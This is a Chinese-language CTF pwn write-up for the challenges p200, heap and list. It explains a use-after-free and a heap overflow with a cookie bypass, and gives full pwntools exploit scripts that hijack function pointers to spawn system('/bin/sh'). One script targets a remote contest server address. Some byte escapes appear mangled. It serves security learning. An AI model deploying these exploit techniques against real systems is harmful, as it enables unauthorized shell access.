wp
0x00 p200
先分析了程序关键的数据结构
分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf
脚本如下:
1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆
2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据
3.再free,此时可以把整块Ton堆给free
4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8
5.执行1.use 此时其实是执行system('/bin/sh')
from pwn import* # context.log_level = 'debug' # p = process('./p200') addr = 0x0000000000602D70 addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free ') p.sendline('3') p.recvuntil('1. use, 2. after, 3. free ') p.sendline('2') p.recvuntil('Please input the length: ') p.sendline(str(32)) p.sendline(p64(addr2).ljust(32, 'x00')) p.recvuntil('1. use, 2. after, 3. free ') p.sendline('2') p.recvuntil('Please input the length: ') p.sendline(str(32)) p.sendline(p64(addr2).ljust(32, 'x00')) p.recvuntil('1. use, 2. after, 3. free ') p.sendline('3') p.recvuntil('1. use, 2. after, 3. free ') p.sendline('2') p.recvuntil('Please input the length: ') p.sendline(str(0x30)) p.sendline(p64(addr).ljust(0x30, 'x00')) p.recvuntil('1. use, 2. after, 3. free ') p.sendline('2') p.recvuntil('Please input the length: ') p.sendline(str(0x30)) p.sendline(p64(addr).ljust(0x30, 'x00')) p.recvuntil('1. use, 2. after, 3. free ') p.sendline('1') p.interactive()
学习
0x01 heap
也先给出数据结构
程序开始
1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续
2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写
发现漏洞
在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容
绕过保护
1.先申请一定数量的堆块,就可以保证堆块连续
2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.
漏洞利用
1.泄露atoi_addr地址,计算出system_addr
2.在bss段写入/bin/sh
3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss
4.调用introduce函数(实际上是system('/bin/sh'))
Al3x大佬的脚本,orz:
#!/usr/bin/env python from pwn import * #context.log_level = 'debug' def add(lName, name, lSname, sname, tutor='no'): p.sendlineafter("option:", '1') p.sendlineafter("name", str(lName)) p.sendlineafter("name", name) p.sendlineafter("schoolname", str(lSname)) p.sendlineafter("school name", sname) p.sendlineafter(")", tutor) def remove(ID): p.sendlineafter("option:", '2') p.sendlineafter("delete", str(ID)) def edit(ID, length, context, flag): p.sendlineafter("option:", '3') p.sendlineafter("edit", str(ID)) if flag == 0: p.sendlineafter("option:", '1') p.sendlineafter("name", str(length)) p.sendlineafter("name", context) else: p.sendlineafter("option:", '2') p.sendlineafter("schoolname", str(length)) p.sendlineafter("schoolname", context) def show(ID): p.sendlineafter("option:", '4') p.sendlineafter("intro", str(ID)) #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"}) #p = remote('106.75.8.58', 23238) p = process("./heap") for i in range(120): add(0x29, 'aaaa', 0x29, 'bbbb') atoi_got = 0x602FE8 bss_addr = 0x60F000 add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120 add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121 add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122 add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123 add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124 payload = 'a'*0x30 #padding payload += 'a'*8 + p64(0x41) #prev_size & size payload += p64(0x79) #id payload += p64(atoi_got) #name_chunck_ptr payload += 'x57xC0' #name_chunck_size & cookies_off edit(120, 0x55, payload, 1) show(121) p.recvuntil("name is ") atoi_addr = u64(p.recv(6).ljust(8, 'x00')) system_addr = atoi_addr - 0x36E80 + 0x45390 payload = 'a'*0x30 payload += 'a'*8 + p64(0x41) payload += p64(0x7a) payload += p64(bss_addr) payload +='x3f' edit(121, 0x55, payload, 1) edit(122, 0x10, '/bin/sh', 0) payload = 'a'*0x30 payload += 'a'*8 + p64(0x41) payload += p64(0x7c) payload += p64(bss_addr) payload += p64(0x3f) payload += p64(system_addr) payload += p64(bss_addr) payload += 'x3f' edit(123, 0x6d, payload, 1) #raw_input() show(124) p.interactive()
0x02 list
这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.
可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...